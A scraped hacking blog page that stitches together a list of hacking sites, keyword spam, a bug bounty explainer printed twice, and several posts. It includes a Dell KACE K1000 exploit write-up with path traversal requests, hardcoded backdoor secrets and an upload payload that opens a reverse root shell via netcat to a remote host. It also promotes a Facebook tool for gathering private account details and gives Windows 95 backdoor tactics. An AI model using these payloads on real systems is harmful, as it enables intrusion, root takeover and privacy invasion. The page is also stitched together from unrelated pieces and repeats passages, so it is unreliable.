- DEFCON: Information about the largest annual hacker convention in the US, including past speeches, video, archives, and updates on the next upcoming show as well as links and other details.
- Exploit DB: An archive of exploits and vulnerable software by Offensive Security. The site collects exploits from submissions and mailing lists and concentrates them in a single database.
- SecurityFocus: Provides security information to all members of the security community, from end users, security hobbyists and network administrators to security consultants, IT Managers, CIOs and CSOs.
- SecTools.Org: List of 75 security tools based on a 2003 vote by hackers.
- HackRead: HackRead is a News Platform that centers on InfoSec, Cyber Crime, Privacy, Surveillance, and Hacking News with full-scale reviews on Social Media Platforms.
- Hakin9: E-magazine offering in-depth looks at both attack and defense techniques and concentrates on difficult technical issues.
- Hacked Gadgets: A resource for DIY project documentation as well as general gadget and technology news.
- The Hacker News: The Hacker News — most trusted and widely-acknowledged online cyber security news magazine with in-depth technical coverage for cybersecurity.
- Packet Storm: Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers.
- Metasploit: Find security issues, verify vulnerability mitigations & manage security assessments with Metasploit. Get the worlds best penetration testing software now.
- NFOHump: Offers up-to-date .NFO files and reviews on the latest pirate software releases.
- Phrack Magazine: Digital hacking magazine.
- KitPloit: Leading source of Security Tools, Hacking Tools, CyberSecurity and Network Security.
Tuesday, June 30, 2020
Top 13 Websites to Learn How to Hack Like a Pro
Thursday, June 11, 2020
Sherlock Tool | Find Usernames Across Social Networks
Continue reading
- Pentest+ Vs Oscp
- Pentest Wiki
- Pentest Distro
- Hacking Linux
- Pentest Stages
- Pentest Tools Free
- Pentesterlab
- Pentestmonkey Sql Injection
- Pentest Companies
- Hacking Device
- Pentest Services
- Rapid7 Pentest
- Pentestmonkey Sql Injection
- Hacker Prank
- Hacking Device
- Hacking The Art Of Exploitation
- Pentest Hardware
- Pentest Basics
$$$ Bug Bounty $$$
What is Bug Bounty ?
A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.
Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.
Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1. In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.
While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.
A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.
Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.
Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1. In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.
While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.
Related news
The Curious Case Of The Ninjamonkeypiratelaser Backdoor
A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.
Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:
POST /userui/downloadpxy.php HTTP/1.1That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download
HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;
So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:
http://targethost/service/kbot_upload.php
This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.
The "HandlePut()" function contains the following calls:
$checksumFn = $_GET['filename'];
$fn = rawurldecode($_GET['filename']);
$machineId = $_GET['machineId'];
$checksum = $_GET['checksum'];
$mac = $_GET['mac'];
$kbotId = $_GET['kbotId'];
$version = $_GET['version'];
$patchScheduleId = $_GET['patchscheduleid'];
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
."($machineId, $checksumFn, $mac)");
KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
."from HandlePUT(".construct_url($_GET).")");
header("Status: 500", true, 500);
return;
}
md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
Server side check:
private static function calcTokenChecksum($filename, $machineId, $mac)
{
//return md5("$filename $machineId $mac" . $ip .
// 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
// our tracking of ips really sucks and when I'm vpn'ed from
// home I couldn't get patching to work, cause the ip that
// was on the machine record was different from the
// remote server ip.
return md5("$filename $machineId $mac" .
'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
}
The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server.
In addition to this "calcTokenChecksum" check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)
From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").
The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:
POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 190
<?php
require_once 'KSudoClient.class.php';
KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>
http://targethost/service/tmp/db.php
On our host:
~$ ncat -lkvp 4444
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from XX.XX.XX.XX
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
So at the end of the the day the count looks like this:
Directory Traversals: 2That all adds up to owned last time I checked.
Backdoors: 2
Privilege Escalation: 1
Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py
Example usage can be seen below:
Related posts
Wednesday, June 10, 2020
OSIF: An Open Source Facebook Information Gathering Tool
About OSIF
OSIF is an accurate Facebook account information gathering tool, all sensitive information can be easily gathered even though the target converts all of its privacy to (only me), sensitive information about residence, date of birth, occupation, phone number and email address.
For your privacy and security, i don't suggest using your main account!
OSIF Installtion
For Termux users, you must install
python2 and git first:pkg update upgrade
pkg install git python2And then, open your Terminal and enter these commands: If you're Windows user, follow these steps:
- Install Python 2.7.x from Python.org first. On Install Python 2.7.x Setup, choose Add python.exe to Path.
- Download OSIF-master zip file.
- Then unzip it.
- Open CMD or PowerShell at the OSIF folder you have just unzipped and enter these commands:
pip install -r requirements.txt
python osif.py
Before you use OSIF, make sure that:
- Turn off your VPN before using this tool.
- Do not overuse this tool.
- if you are confused how to use it, please type
helpto display the help menu or watch the video below.
Hacking Windows 95, Part 2
In the Hacking Windows 95, part 1 blog post, we covered that through a nasty bug affecting Windows 95/98/ME, the share password can be guessed in no time. In this article, I'm going to try to use this vulnerability to achieve remote code execution (with the help of publicly available tools only).
The first thing we can do when we have read access to the Windows directory through the share, is to locate all the *.pwl files on the c:\windows directory, copy them to your machine where Cain is installed, switch to Cracker tab, pwl files, load the pwl file, add username based on the filename, and try to crack it. If you can't crack it you might still try to add a .pwl file where you already know the password in the remote windows directory. Although this is a fun post-exploitation task, but still, no remote code execution. These passwords are useless without physical access.
The first thing we can do when we have read access to the Windows directory through the share, is to locate all the *.pwl files on the c:\windows directory, copy them to your machine where Cain is installed, switch to Cracker tab, pwl files, load the pwl file, add username based on the filename, and try to crack it. If you can't crack it you might still try to add a .pwl file where you already know the password in the remote windows directory. Although this is a fun post-exploitation task, but still, no remote code execution. These passwords are useless without physical access.
One might think that after having a share password and user password, it is easy to achieve remote code execution. The problem is:
- there is no "at" command (available since Windows 95 plus!)
- there is no admin share
- there is no RPC
- there is no named pipes
- there is no remote registry
- there is no remote service management
If you think about security best practices, disabling unnecessary services is always the first task you should do. Because Windows 95 lacks all of these services, it is pretty much secure!
During my quest for a tool to hack Windows 95, I came across some pretty cool stuff:
During my quest for a tool to hack Windows 95, I came across some pretty cool stuff:
LanSpy
But the best of the best is Fluxay, which has been written by chinese hackers. It is the metasploit from the year 2000. A screenshot is worth more than a 1000 words. 4 screenshot > 4 thousand words :)
But the best of the best is Fluxay, which has been written by chinese hackers. It is the metasploit from the year 2000. A screenshot is worth more than a 1000 words. 4 screenshot > 4 thousand words :)
It is pretty hard to find the installer, but it is still out there!
But at the end, no remote code execution for me.
But at the end, no remote code execution for me.
My idea here was that if I can find a file which executes regularly (on a scheduled basis), I can change that executable to my backdoor and I'm done. Although there is no scheduler in the default Windows 95, I gave it a try.
Let's fire up taskman.exe to get an idea what processes are running:
Looks like we need a more powerful tool here, namely Process Explorer. Let's try to download this from oldapps.com:
LOL, IE3 hangs, can't render the page. Copying files to the Win95 VM is not that simple, because there are no shared folders in Win95 VM. And you can't use pendrives either, Win95 can't handle USB (at least the retail version). After downloading the application with a newer browser from oldapps, let's start Process Explorer on the test Windows 95.
Don't try to download the Winsocks 2 patch from the official MS site, it is not there anymore, but you can download it from other sites.
Now let's look at the processes running:
After staring it for minutes, turned out it is constant, no new processes appeared.
Looking at the next screenshot, one can notice this OS was not running a lot of background processes ...
After staring it for minutes, turned out it is constant, no new processes appeared.
Looking at the next screenshot, one can notice this OS was not running a lot of background processes ...
My current Win7 has 1181 threads and 84 processes running, no wonder it is slow as hell :)
We have at least the following options:
- You are lucky and not the plain Windows 95 is installed, but Windows 95 Plus! The main difference here is that Windows 95 Plus! has built-in scheduler, especially the "at" command. Just overwrite a file which is scheduled to execution, and wait. Mission accomplished!
- Ping of death - you can crash the machine (no BSOD, just crash) with long (over 65535 bytes) ICMP ping commands, and wait for someone to reboot it. Just don't forget to put your backdoor on the share and add it to autoexec.bat before crashing it.
- If your target is a plain Windows 95, I believe you are out of luck. No at command, no named pipes, no admin share, nothing. Meybe you can try to fuzz port 137 138 139, and write an exploit for those. Might be even Ping of Death is exploitable?
Let's do the first option, and hack Windows 95 plus!
Look at the cool features we have by installing Win95 Plus!
Now we can replace diskalm.exe with our backdoor executable, and wait maximum one hour to be scheduled.
Instead of a boring text based tutorial, I created a YouTube video for you. Based on the feedbacks on my previous tutorialz, it turned out I'm way too old, and can't do interesting tutorials. That's why I analyzed the cool skiddie videoz, and found that I have to do the followings so my vidz won't suck anymore:
Related articlesCool new boot splash screen!
But our main interest is the new, scheduled tasks!
Now we can replace diskalm.exe with our backdoor executable, and wait maximum one hour to be scheduled.
Instead of a boring text based tutorial, I created a YouTube video for you. Based on the feedbacks on my previous tutorialz, it turned out I'm way too old, and can't do interesting tutorials. That's why I analyzed the cool skiddie videoz, and found that I have to do the followings so my vidz won't suck anymore:
- use cool black windows theme
- put meaningless performance monitor gadgets on the sidebar
- use a cool background, something related with hacking and skullz
- do as many opsec fails as possible
- instead of captions, use notepad with spelling errorz
- there is only one rule of metal: Play it fuckin' loud!!!!
Tuesday, June 9, 2020
November 2019 Connector
*|MC_PREVIEW_TEXT|*
|
|






















